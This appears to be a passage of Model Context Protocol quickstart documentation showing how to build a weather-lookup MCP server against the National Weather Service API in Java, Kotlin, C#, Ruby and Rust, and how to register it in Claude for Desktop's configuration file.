Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/2026-07-28/develop/build-client) tutorial to build an MCP client that connects to the server we just built.
First, make sure you have Claude for Desktop installed. [You can install the latest version
here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist.
For example, if you have [VS Code](https://code.visualstudio.com/) installed:
```bash macOS/Linux theme={null}
code ~/Library/Application\ Support/Claude/claude_desktop_config.json
```
```powershell Windows theme={null}
code $env:AppData\Claude\claude_desktop_config.json
```
You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
In this case, we'll add our single weather server like so:
```json macOS/Linux theme={null}
{
"mcpServers": {
"weather": {
"command": "node",
"args": ["/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/build/index.js"]
}
}
}
```
```json Windows theme={null}
{
"mcpServers": {
"weather": {
"command": "node",
"args": ["C:\\PATH\\TO\\PARENT\\FOLDER\\weather\\build\\index.js"]
}
}
}
```
This tells Claude for Desktop:
1. There's an MCP server named "weather"
2. Launch it by running `node /ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/build/index.js`
Save the file, and restart **Claude for Desktop**.
This is a quickstart demo based on Spring AI MCP auto-configuration and boot starters.
To learn how to create sync and async MCP Servers, manually, consult the [Java SDK Server](https://java.sdk.modelcontextprotocol.io/) documentation.
Let's get started with building our weather server!
[You can find the complete code for what we'll be building here.](https://github.com/spring-projects/spring-ai-examples/tree/main/model-context-protocol/weather/starter-stdio-server)
For more information, see the [MCP Server Boot Starter](https://docs.spring.io/spring-ai/reference/api/mcp/mcp-server-boot-starter-docs.html) reference documentation.
For manual MCP Server implementation, refer to the [MCP Server Java SDK documentation](https://java.sdk.modelcontextprotocol.io/).
### Logging in MCP Servers
When implementing MCP servers, be careful about how you handle logging:
**For STDIO-based servers:** Never use `System.out.println()` or `System.out.print()`, as they write to standard output (stdout). Writing to stdout will corrupt the JSON-RPC messages and break your server.
**For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
### Best Practices
* Use a logging library that writes to stderr or files.
* Ensure any configured logging library will not write to stdout.
### System requirements
* Java 17 or higher installed.
* [Spring Boot 3.3.x](https://docs.spring.io/spring-boot/installing.html) or higher
### Set up your environment
Use the [Spring Initializer](https://start.spring.io/) to bootstrap the project.
You will need to add the following dependencies:
```xml Maven theme={null}
org.springframework.aispring-ai-starter-mcp-serverorg.springframeworkspring-web
```
```groovy Gradle theme={null}
dependencies {
implementation platform("org.springframework.ai:spring-ai-starter-mcp-server")
implementation platform("org.springframework:spring-web")
}
```
Then configure your application by setting the application properties:
```bash application.properties theme={null}
spring.main.bannerMode=off
logging.pattern.console=
```
```yaml application.yml theme={null}
logging:
pattern:
console:
spring:
main:
banner-mode: off
```
The [Server Configuration Properties](https://docs.spring.io/spring-ai/reference/api/mcp/mcp-server-boot-starter-docs.html#_configuration_properties) documents all available properties.
Now let's dive into building your server.
## Building your server
### Weather Service
Let's implement a [WeatherService.java](https://github.com/spring-projects/spring-ai-examples/blob/main/model-context-protocol/weather/starter-stdio-server/src/main/java/org/springframework/ai/mcp/sample/server/WeatherService.java) that uses a REST client to query the data from the National Weather Service API:
```java theme={null}
@Service
public class WeatherService {
private final RestClient restClient;
public WeatherService() {
this.restClient = RestClient.builder()
.baseUrl("https://api.weather.gov")
.defaultHeader("Accept", "application/geo+json")
.defaultHeader("User-Agent", "WeatherApiClient/1.0 (your@email.com)")
.build();
}
@Tool(description = "Get weather forecast for a specific latitude/longitude")
public String getWeatherForecastByLocation(
double latitude, // Latitude coordinate
double longitude // Longitude coordinate
) {
// Returns detailed forecast including:
// - Temperature and unit
// - Wind speed and direction
// - Detailed forecast description
}
@Tool(description = "Get weather alerts for a US state")
public String getAlerts(
@ToolParam(description = "Two-letter US state code (e.g. CA, NY)") String state
) {
// Returns active alerts including:
// - Event type
// - Affected area
// - Severity
// - Description
// - Safety instructions
}
// ......
}
```
The `@Service` annotation will auto-register the service in your application context.
The Spring AI `@Tool` annotation makes it easy to create and maintain MCP tools.
The auto-configuration will automatically register these tools with the MCP server.
### Create your Boot Application
```java theme={null}
@SpringBootApplication
public class McpServerApplication {
public static void main(String[] args) {
SpringApplication.run(McpServerApplication.class, args);
}
@Bean
public ToolCallbackProvider weatherTools(WeatherService weatherService) {
return MethodToolCallbackProvider.builder().toolObjects(weatherService).build();
}
}
```
Uses the `MethodToolCallbackProvider` utils to convert the `@Tools` into actionable callbacks used by the MCP server.
### Running the server
Finally, let's build the server:
```bash theme={null}
./mvnw clean install
```
This will generate an `mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar` file within the `target` folder.
Let's now test your server from an existing MCP host, Claude for Desktop.
## Testing your server with Claude for Desktop
Claude for Desktop is not yet available on Linux.
First, make sure you have Claude for Desktop installed.
[You can install the latest version here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
We'll need to configure Claude for Desktop for whichever MCP servers you want to use.
To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor.
Make sure to create the file if it doesn't exist.
For example, if you have [VS Code](https://code.visualstudio.com/) installed:
```bash macOS/Linux theme={null}
code ~/Library/Application\ Support/Claude/claude_desktop_config.json
```
```powershell Windows theme={null}
code $env:AppData\Claude\claude_desktop_config.json
```
You'll then add your servers in the `mcpServers` key.
The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
In this case, we'll add our single weather server like so:
```json macOS/Linux theme={null}
{
"mcpServers": {
"spring-ai-mcp-weather": {
"command": "java",
"args": [
"-Dspring.ai.mcp.server.stdio=true",
"-jar",
"/ABSOLUTE/PATH/TO/PARENT/FOLDER/mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar"
]
}
}
}
```
```json Windows theme={null}
{
"mcpServers": {
"spring-ai-mcp-weather": {
"command": "java",
"args": [
"-Dspring.ai.mcp.server.transport=STDIO",
"-jar",
"C:\\ABSOLUTE\\PATH\\TO\\PARENT\\FOLDER\\weather\\mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar"
]
}
}
}
```
Make sure you pass in the absolute path to your server.
This tells Claude for Desktop:
1. There's an MCP server named "my-weather-server"
2. To launch it by running `java -jar /ABSOLUTE/PATH/TO/PARENT/FOLDER/mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar`
Save the file, and restart **Claude for Desktop**.
## Testing your server with Java client
### Create an MCP Client manually
Use the `McpClient` to connect to the server:
```java theme={null}
var stdioParams = ServerParameters.builder("java")
.args("-jar", "/ABSOLUTE/PATH/TO/PARENT/FOLDER/mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar")
.build();
var stdioTransport = new StdioClientTransport(stdioParams);
var mcpClient = McpClient.sync(stdioTransport).build();
mcpClient.initialize();
ListToolsResult toolsList = mcpClient.listTools();
CallToolResult weather = mcpClient.callTool(
new CallToolRequest("getWeatherForecastByLocation",
Map.of("latitude", "47.6062", "longitude", "-122.3321")));
CallToolResult alert = mcpClient.callTool(
new CallToolRequest("getAlerts", Map.of("state", "NY")));
mcpClient.closeGracefully();
```
### Use MCP Client Boot Starter
Create a new boot starter application using the `spring-ai-starter-mcp-client` dependency:
```xml theme={null}
org.springframework.aispring-ai-starter-mcp-client
```
and set the `spring.ai.mcp.client.stdio.servers-configuration` property to point to your `claude_desktop_config.json`.
You can reuse the existing Anthropic Desktop configuration:
```properties theme={null}
spring.ai.mcp.client.stdio.servers-configuration=file:PATH/TO/claude_desktop_config.json
```
When you start your client application, the auto-configuration will automatically create MCP clients from the claude\_desktop\_config.json.
For more information, see the [MCP Client Boot Starters](https://docs.spring.io/spring-ai/reference/api/mcp/mcp-server-boot-client-docs.html) reference documentation.
## More Java MCP Server examples
The [starter-webflux-server](https://github.com/spring-projects/spring-ai-examples/tree/main/model-context-protocol/weather/starter-webflux-server) demonstrates how to create an HTTP-based MCP server with the WebFlux starter.
Set the `spring.ai.mcp.server.protocol=STREAMABLE` property to serve it over Streamable HTTP.
It showcases how to define and register MCP Tools, Resources, and Prompts, using the Spring Boot's auto-configuration capabilities.
Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/kotlin-sdk/tree/main/samples/weather-stdio-server)
### Prerequisite knowledge
This quickstart assumes you have familiarity with:
* Kotlin
* LLMs like Claude
### Logging in MCP Servers
When implementing MCP servers, be careful about how you handle logging:
**For STDIO-based servers:** Never use `println()`, as it writes to standard output (stdout) by default. Writing to stdout will corrupt the JSON-RPC messages and break your server.
**For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
### Best Practices
* Use a logging library that writes to stderr or files.
### System requirements
* JDK 11 or higher installed.
### Set up your environment
First, let's install `java` and `gradle` if you haven't already.
You can download `java` from [official Oracle JDK website](https://www.oracle.com/java/technologies/downloads/).
Verify your `java` installation:
```bash theme={null}
java --version
```
Now, let's create and set up your project:
```bash macOS/Linux theme={null}
# Create a new directory for our project
mkdir weather
cd weather
# Initialize a new kotlin project
gradle init
```
```powershell Windows theme={null}
# Create a new directory for our project
md weather
cd weather
# Initialize a new kotlin project
gradle init
```
After running `gradle init`, select **Application** as the project type, **Kotlin** as the programming language.
Alternatively, you can create a Kotlin application using the [IntelliJ IDEA project wizard](https://kotlinlang.org/docs/jvm-get-started.html).
After creating the project, replace the contents of your `build.gradle.kts` with:
```kotlin build.gradle.kts theme={null}
// Check latest versions at https://github.com/modelcontextprotocol/kotlin-sdk/releases
val mcpVersion = "0.9.0"
val ktorVersion = "3.2.3"
val slf4jVersion = "2.0.17"
plugins {
kotlin("jvm") version "2.3.20"
kotlin("plugin.serialization") version "2.3.20"
id("com.gradleup.shadow") version "8.3.9"
application
}
application {
mainClass.set("MainKt")
}
dependencies {
implementation("io.modelcontextprotocol:kotlin-sdk:$mcpVersion")
implementation("io.ktor:ktor-client-content-negotiation:$ktorVersion")
implementation("io.ktor:ktor-serialization-kotlinx-json:$ktorVersion")
implementation("io.ktor:ktor-client-cio:$ktorVersion")
implementation("org.slf4j:slf4j-simple:$slf4jVersion")
}
```
Verify that everything is set up correctly:
```bash theme={null}
./gradlew build
```
Now let's dive into building your server.
## Building your server
### Setting up the instance
Add a server initialization function:
```kotlin theme={null}
fun runMcpServer() {
val server = Server(
Implementation(
name = "weather",
version = "1.0.0",
),
ServerOptions(
capabilities = ServerCapabilities(tools = ServerCapabilities.Tools(listChanged = true)),
),
)
// register tools on server here
val transport = StdioServerTransport(
System.`in`.asInput(),
System.out.asSink().buffered(),
)
runBlocking {
val session = server.createSession(transport)
val done = Job()
session.onClose {
done.complete()
}
done.join()
}
}
```
### Weather API helper functions
Next, let's add functions and data classes for querying and converting responses from the National Weather Service API:
```kotlin theme={null}
val httpClient = HttpClient(CIO) {
defaultRequest {
url("https://api.weather.gov")
headers {
append("Accept", "application/geo+json")
append("User-Agent", "WeatherApiClient/1.0")
}
contentType(ContentType.Application.Json)
}
install(ContentNegotiation) {
json(Json { ignoreUnknownKeys = true })
}
}
// Extension function to fetch weather alerts for a given state
suspend fun HttpClient.getAlerts(state: String): List {
val alerts = this.get("/alerts/active/area/$state").body()
return alerts.features.map { feature ->
"""
Event: ${feature.properties.event}
Area: ${feature.properties.areaDesc}
Severity: ${feature.properties.severity}
Status: ${feature.properties.status}
Headline: ${feature.properties.headline}
""".trimIndent()
}
}
// Extension function to fetch forecast information for given latitude and longitude
suspend fun HttpClient.getForecast(latitude: Double, longitude: Double): List {
val points = this.get("/points/$latitude,$longitude").body()
val forecastUrl = points.properties.forecast ?: error("No forecast URL available")
val forecast = this.get(forecastUrl).body()
return forecast.properties.periods.map { period ->
"""
${period.name}:
Temperature: ${period.temperature}°${period.temperatureUnit}
Wind: ${period.windSpeed} ${period.windDirection}
${period.shortForecast}
""".trimIndent()
}
}
@Serializable
data class PointsResponse(val properties: PointsProperties)
@Serializable
data class PointsProperties(val forecast: String? = null)
@Serializable
data class ForecastResponse(val properties: ForecastProperties)
@Serializable
data class ForecastProperties(val periods: List = emptyList())
@Serializable
data class ForecastPeriod(
val name: String? = null,
val temperature: Int? = null,
val temperatureUnit: String? = null,
val windSpeed: String? = null,
val windDirection: String? = null,
val shortForecast: String? = null,
)
@Serializable
data class AlertsResponse(val features: List = emptyList())
@Serializable
data class AlertFeature(val properties: AlertProperties)
@Serializable
data class AlertProperties(
val event: String? = null,
val areaDesc: String? = null,
val severity: String? = null,
val status: String? = null,
val headline: String? = null,
)
```
### Implementing tool execution
The tool execution handler is responsible for actually executing the logic of each tool. Let's add it:
```kotlin theme={null}
// Register weather tools
server.addTool(
name = "get_alerts",
description = "Get weather alerts for a US state. Input is a two-letter US state code (e.g. CA, NY)",
inputSchema = ToolSchema(
properties = buildJsonObject {
putJsonObject("state") {
put("type", "string")
put("description", "Two-letter US state code (e.g. CA, NY)")
}
},
required = listOf("state"),
),
) { request ->
val state = request.arguments?.get("state")?.jsonPrimitive?.content
?: return@addTool CallToolResult(
content = listOf(TextContent("The 'state' parameter is required.")),
)
val alerts = httpClient.getAlerts(state)
CallToolResult(content = alerts.map { TextContent(it) })
}
server.addTool(
name = "get_forecast",
description = "Get weather forecast for a location. Note: only US locations are supported by the NWS API.",
inputSchema = ToolSchema(
properties = buildJsonObject {
putJsonObject("latitude") {
put("type", "number")
put("description", "Latitude of the location")
}
putJsonObject("longitude") {
put("type", "number")
put("description", "Longitude of the location")
}
},
required = listOf("latitude", "longitude"),
),
) { request ->
val latitude = request.arguments?.get("latitude")?.jsonPrimitive?.doubleOrNull
val longitude = request.arguments?.get("longitude")?.jsonPrimitive?.doubleOrNull
if (latitude == null || longitude == null) {
return@addTool CallToolResult(
content = listOf(TextContent("The 'latitude' and 'longitude' parameters are required.")),
)
}
val forecast = httpClient.getForecast(latitude, longitude)
CallToolResult(content = forecast.map { TextContent(it) })
}
```
### Running the server
Finally, implement the main function to run the server:
```kotlin theme={null}
fun main() = runMcpServer()
```
You can run the server directly during development:
```bash theme={null}
./gradlew run
```
For production use, build the shadow JAR:
```bash theme={null}
./gradlew build
java -jar build/libs/weather-0.1.0-all.jar
```
Let's now test your server from an existing MCP host, Claude for Desktop.
## Testing your server with Claude for Desktop
Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/2026-07-28/develop/build-client) tutorial to build an MCP client that connects to the server we just built.
First, make sure you have Claude for Desktop installed. [You can install the latest version
here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
We'll need to configure Claude for Desktop for whichever MCP servers you want to use.
To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor.
Make sure to create the file if it doesn't exist.
For example, if you have [VS Code](https://code.visualstudio.com/) installed:
```bash macOS/Linux theme={null}
code ~/Library/Application\ Support/Claude/claude_desktop_config.json
```
```powershell Windows theme={null}
code $env:AppData\Claude\claude_desktop_config.json
```
You'll then add your servers in the `mcpServers` key.
The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
In this case, we'll add our single weather server like so:
```json macOS/Linux theme={null}
{
"mcpServers": {
"weather": {
"command": "java",
"args": [
"-jar",
"/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/build/libs/weather-0.1.0-all.jar"
]
}
}
}
```
```json Windows theme={null}
{
"mcpServers": {
"weather": {
"command": "java",
"args": [
"-jar",
"C:\\PATH\\TO\\PARENT\\FOLDER\\weather\\build\\libs\\weather-0.1.0-all.jar"
]
}
}
}
```
This tells Claude for Desktop:
1. There's an MCP server named "weather"
2. Launch it by running `java -jar /ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/build/libs/weather-0.1.0-all.jar`
Save the file, and restart **Claude for Desktop**.
Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/csharp-sdk/tree/main/samples/QuickstartWeatherServer)
### Prerequisite knowledge
This quickstart assumes you have familiarity with:
* C#
* LLMs like Claude
* .NET 8 or higher
### Logging in MCP Servers
When implementing MCP servers, be careful about how you handle logging:
**For STDIO-based servers:** Never use `Console.WriteLine()` or `Console.Write()`, as they write to standard output (stdout). Writing to stdout will corrupt the JSON-RPC messages and break your server.
**For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
### Best Practices
* Use a logging library that writes to stderr or files.
### System requirements
* [.NET 8 SDK](https://dotnet.microsoft.com/download/dotnet/8.0) or higher installed.
### Set up your environment
First, let's install `dotnet` if you haven't already. You can download `dotnet` from [official Microsoft .NET website](https://dotnet.microsoft.com/download/). Verify your `dotnet` installation:
```bash theme={null}
dotnet --version
```
Now, let's create and set up your project:
```bash macOS/Linux theme={null}
# Create a new directory for our project
mkdir weather
cd weather
# Initialize a new C# project
dotnet new console
```
```powershell Windows theme={null}
# Create a new directory for our project
mkdir weather
cd weather
# Initialize a new C# project
dotnet new console
```
After running `dotnet new console`, you will be presented with a new C# project.
You can open the project in your favorite IDE, such as [Visual Studio](https://visualstudio.microsoft.com/) or [Rider](https://www.jetbrains.com/rider/).
Alternatively, you can create a C# application using the [Visual Studio project wizard](https://learn.microsoft.com/en-us/visualstudio/get-started/csharp/tutorial-console?view=vs-2022).
After creating the project, add NuGet package for the Model Context Protocol SDK and hosting:
```bash theme={null}
# Add the Model Context Protocol SDK NuGet package
dotnet add package ModelContextProtocol --prerelease
# Add the .NET Hosting NuGet package
dotnet add package Microsoft.Extensions.Hosting
```
Now let’s dive into building your server.
## Building your server
Open the `Program.cs` file in your project and replace its contents with the following code:
```csharp theme={null}
using Microsoft.Extensions.DependencyInjection;
using Microsoft.Extensions.Hosting;
using ModelContextProtocol;
using System.Net.Http.Headers;
var builder = Host.CreateEmptyApplicationBuilder(settings: null);
builder.Services.AddMcpServer()
.WithStdioServerTransport()
.WithToolsFromAssembly();
builder.Services.AddSingleton(_ =>
{
var client = new HttpClient() { BaseAddress = new Uri("https://api.weather.gov") };
client.DefaultRequestHeaders.UserAgent.Add(new ProductInfoHeaderValue("weather-tool", "1.0"));
return client;
});
var app = builder.Build();
await app.RunAsync();
```
When creating the `ApplicationHostBuilder`, ensure you use `CreateEmptyApplicationBuilder` instead of `CreateDefaultBuilder`. This ensures that the server does not write any additional messages to the console. This is only necessary for servers using STDIO transport.
This code sets up a basic console application that uses the Model Context Protocol SDK to create an MCP server with standard I/O transport.
### Weather API helper functions
Create an extension class for `HttpClient` which helps simplify JSON request handling:
```csharp theme={null}
using System.Text.Json;
internal static class HttpClientExt
{
public static async Task ReadJsonDocumentAsync(this HttpClient client, string requestUri)
{
using var response = await client.GetAsync(requestUri);
response.EnsureSuccessStatusCode();
return await JsonDocument.ParseAsync(await response.Content.ReadAsStreamAsync());
}
}
```
Next, define a class with the tool execution handlers for querying and converting responses from the National Weather Service API:
```csharp theme={null}
using ModelContextProtocol.Server;
using System.ComponentModel;
using System.Globalization;
using System.Text.Json;
namespace QuickstartWeatherServer.Tools;
[McpServerToolType]
public static class WeatherTools
{
[McpServerTool, Description("Get weather alerts for a US state code.")]
public static async Task GetAlerts(
HttpClient client,
[Description("The US state code to get alerts for.")] string state)
{
using var jsonDocument = await client.ReadJsonDocumentAsync($"/alerts/active/area/{state}");
var jsonElement = jsonDocument.RootElement;
var alerts = jsonElement.GetProperty("features").EnumerateArray();
if (!alerts.Any())
{
return "No active alerts for this state.";
}
return string.Join("\n--\n", alerts.Select(alert =>
{
JsonElement properties = alert.GetProperty("properties");
return $"""
Event: {properties.GetProperty("event").GetString()}
Area: {properties.GetProperty("areaDesc").GetString()}
Severity: {properties.GetProperty("severity").GetString()}
Description: {properties.GetProperty("description").GetString()}
Instruction: {properties.GetProperty("instruction").GetString()}
""";
}));
}
[McpServerTool, Description("Get weather forecast for a location.")]
public static async Task GetForecast(
HttpClient client,
[Description("Latitude of the location.")] double latitude,
[Description("Longitude of the location.")] double longitude)
{
var pointUrl = string.Create(CultureInfo.InvariantCulture, $"/points/{latitude},{longitude}");
using var jsonDocument = await client.ReadJsonDocumentAsync(pointUrl);
var forecastUrl = jsonDocument.RootElement.GetProperty("properties").GetProperty("forecast").GetString()
?? throw new Exception($"No forecast URL provided by {client.BaseAddress}points/{latitude},{longitude}");
using var forecastDocument = await client.ReadJsonDocumentAsync(forecastUrl);
var periods = forecastDocument.RootElement.GetProperty("properties").GetProperty("periods").EnumerateArray();
return string.Join("\n---\n", periods.Select(period => $"""
{period.GetProperty("name").GetString()}
Temperature: {period.GetProperty("temperature").GetInt32()}°F
Wind: {period.GetProperty("windSpeed").GetString()} {period.GetProperty("windDirection").GetString()}
Forecast: {period.GetProperty("detailedForecast").GetString()}
"""));
}
}
```
### Running the server
Finally, run the server using the following command:
```bash theme={null}
dotnet run
```
This will start the server and listen for incoming requests on standard input/output.
## Testing your server with Claude for Desktop
Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/2026-07-28/develop/build-client) tutorial to build an MCP client that connects to the server we just built.
First, make sure you have Claude for Desktop installed. [You can install the latest version
here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist.
For example, if you have [VS Code](https://code.visualstudio.com/) installed:
```bash macOS/Linux theme={null}
code ~/Library/Application\ Support/Claude/claude_desktop_config.json
```
```powershell Windows theme={null}
code $env:AppData\Claude\claude_desktop_config.json
```
You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
In this case, we'll add our single weather server like so:
```json macOS/Linux theme={null}
{
"mcpServers": {
"weather": {
"command": "dotnet",
"args": ["run", "--project", "/ABSOLUTE/PATH/TO/PROJECT", "--no-build"]
}
}
}
```
```json Windows theme={null}
{
"mcpServers": {
"weather": {
"command": "dotnet",
"args": [
"run",
"--project",
"C:\\ABSOLUTE\\PATH\\TO\\PROJECT",
"--no-build"
]
}
}
}
```
This tells Claude for Desktop:
1. There's an MCP server named "weather"
2. Launch it by running `dotnet run /ABSOLUTE/PATH/TO/PROJECT`
Save the file, and restart **Claude for Desktop**.
Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-ruby)
### Prerequisite knowledge
This quickstart assumes you have familiarity with:
* Ruby
* LLMs like Claude
### Logging in MCP Servers
When implementing MCP servers, be careful about how you handle logging:
**For STDIO-based servers:** Never use `puts` or `print`, as they write to standard output (stdout) by default. Writing to stdout will corrupt the JSON-RPC messages and break your server.
**For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
### Best Practices
* Use a logging library that writes to stderr or files.
### Quick Examples
```ruby theme={null}
# ❌ Bad (STDIO)
puts "Processing request"
# ✅ Good (STDIO)
require "logger"
logger = Logger.new($stderr)
logger.info("Processing request")
```
### System requirements
* Ruby 2.7 or higher installed.
### Set up your environment
First, let's make sure you have Ruby installed. You can check by running:
```bash theme={null}
ruby --version
```
Now, let's create and set up our project:
```bash macOS/Linux theme={null}
# Create a new directory for our project
mkdir weather
cd weather
# Create a Gemfile
bundle init
# Add the MCP SDK dependency
bundle add mcp
# Create our server file
touch weather.rb
```
```powershell Windows theme={null}
# Create a new directory for our project
mkdir weather
cd weather
# Create a Gemfile
bundle init
# Add the MCP SDK dependency
bundle add mcp
# Create our server file
new-item weather.rb
```
Now let's dive into building your server.
## Building your server
### Importing packages and setting up constants
Open `weather.rb` and add these requires and constants at the top:
```ruby theme={null}
require "json"
require "mcp"
require "net/http"
require "uri"
NWS_API_BASE = "https://api.weather.gov"
USER_AGENT = "weather-app/1.0"
```
The `mcp` gem provides the Model Context Protocol SDK for Ruby, with classes for server implementation and stdio transport.
### Helper methods
Next, let's add helper methods for querying and formatting data from the National Weather Service API:
```ruby theme={null}
module HelperMethods
def make_nws_request(url)
uri = URI(url)
request = Net::HTTP::Get.new(uri)
request["User-Agent"] = USER_AGENT
request["Accept"] = "application/geo+json"
response = Net::HTTP.start(uri.hostname, uri.port, use_ssl: true) do |http|
http.request(request)
end
raise "HTTP #{response.code}: #{response.message}" unless response.is_a?(Net::HTTPSuccess)
JSON.parse(response.body)
end
def format_alert(feature)
properties = feature["properties"]
<<~ALERT
Event: #{properties["event"] || "Unknown"}
Area: #{properties["areaDesc"] || "Unknown"}
Severity: #{properties["severity"] || "Unknown"}
Description: #{properties["description"] || "No description available"}
Instructions: #{properties["instruction"] || "No specific instructions provided"}
ALERT
end
end
```
### Implementing tool execution
Now let's define our tool classes. Each tool subclasses `MCP::Tool` and implements the tool logic:
```ruby theme={null}
class GetAlerts < MCP::Tool
extend HelperMethods
tool_name "get_alerts"
description "Get weather alerts for a US state"
input_schema(
properties: {
state: {
type: "string",
description: "Two-letter US state code (e.g. CA, NY)"
}
},
required: ["state"]
)
def self.call(state:)
url = "#{NWS_API_BASE}/alerts/active/area/#{state.upcase}"
data = make_nws_request(url)
if data["features"].empty?
return MCP::Tool::Response.new([{
type: "text",
text: "No active alerts for this state."
}])
end
alerts = data["features"].map { |feature| format_alert(feature) }
MCP::Tool::Response.new([{
type: "text",
text: alerts.join("\n---\n")
}])
end
end
class GetForecast < MCP::Tool
extend HelperMethods
tool_name "get_forecast"
description "Get weather forecast for a location"
input_schema(
properties: {
latitude: {
type: "number",
description: "Latitude of the location"
},
longitude: {
type: "number",
description: "Longitude of the location"
}
},
required: ["latitude", "longitude"]
)
def self.call(latitude:, longitude:)
# First get the forecast grid endpoint.
points_url = "#{NWS_API_BASE}/points/#{latitude},#{longitude}"
points_data = make_nws_request(points_url)
# Get the forecast URL from the points response.
forecast_url = points_data["properties"]["forecast"]
forecast_data = make_nws_request(forecast_url)
# Format the periods into a readable forecast.
periods = forecast_data["properties"]["periods"]
forecasts = periods.first(5).map do |period|
<<~FORECAST
#{period["name"]}:
Temperature: #{period["temperature"]}°#{period["temperatureUnit"]}
Wind: #{period["windSpeed"]} #{period["windDirection"]}
Forecast: #{period["detailedForecast"]}
FORECAST
end
MCP::Tool::Response.new([{
type: "text",
text: forecasts.join("\n---\n")
}])
end
end
```
### Running the server
Finally, initialize and run the server:
```ruby theme={null}
server = MCP::Server.new(
name: "weather",
version: "1.0.0",
tools: [GetAlerts, GetForecast]
)
transport = MCP::Server::Transports::StdioTransport.new(server)
transport.open
```
Your server is complete! Run `bundle exec ruby weather.rb` to start the MCP server, which will listen for messages from MCP hosts.
Let's now test your server from an existing MCP host, Claude for Desktop.
## Testing your server with Claude for Desktop
Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/2026-07-28/develop/build-client) tutorial to build an MCP client that connects to the server we just built.
First, make sure you have Claude for Desktop installed. [You can install the latest version here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist.
For example, if you have [VS Code](https://code.visualstudio.com/) installed:
```bash macOS/Linux theme={null}
code ~/Library/Application\ Support/Claude/claude_desktop_config.json
```
```powershell Windows theme={null}
code $env:AppData\Claude\claude_desktop_config.json
```
You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
In this case, we'll add our single weather server like so:
```json macOS/Linux theme={null}
{
"mcpServers": {
"weather": {
"command": "bundle",
"args": ["exec", "ruby", "weather.rb"],
"cwd": "/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather"
}
}
}
```
```json Windows theme={null}
{
"mcpServers": {
"weather": {
"command": "bundle",
"args": ["exec", "ruby", "weather.rb"],
"cwd": "C:\\ABSOLUTE\\PATH\\TO\\PARENT\\FOLDER\\weather"
}
}
}
```
Make sure you pass in the absolute path to your project directory in the `cwd` field. You can get this by running `pwd` on macOS/Linux or `cd` on Windows Command Prompt from your project directory. On Windows, remember to use double backslashes (`\\`) or forward slashes (`/`) in the JSON path.
This tells Claude for Desktop:
1. There's an MCP server named "weather"
2. Launch it by running `bundle exec ruby weather.rb` in the specified directory
Save the file, and restart **Claude for Desktop**.
Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-rust)
### Prerequisite knowledge
This quickstart assumes you have familiarity with:
* Rust programming language
* Async/await in Rust
* LLMs like Claude
### Logging in MCP Servers
When implementing MCP servers, be careful about how you handle logging:
**For STDIO-based servers:** Never use `println!()` or `print!()`, as they write to standard output (stdout). Writing to stdout will corrupt the JSON-RPC messages and break your server.
**For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
### Best Practices
* Use a logging library that writes to stderr or files, such as `tracing` or `log` in Rust.
* Configure your logging framework to avoid stdout output.
### Quick Examples
```rust theme={null}
// ❌ Bad (STDIO)
println!("Processing request");
// ✅ Good (STDIO)
eprintln!("Processing request"); // writes to stderr
```
### System requirements
* Rust 1.70 or higher installed.
* Cargo (comes with Rust installation).
### Set up your environment
First, let's install Rust if you haven't already. You can install Rust from [rust-lang.org](https://www.rust-lang.org/tools/install):
```bash macOS/Linux theme={null}
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
```
```powershell Windows theme={null}
# Download and run rustup-init.exe from https://rustup.rs/
```
Verify your Rust installation:
```bash theme={null}
rustc --version
cargo --version
```
Now, let's create and set up our project:
```bash macOS/Linux theme={null}
# Create a new Rust project
cargo new weather
cd weather
```
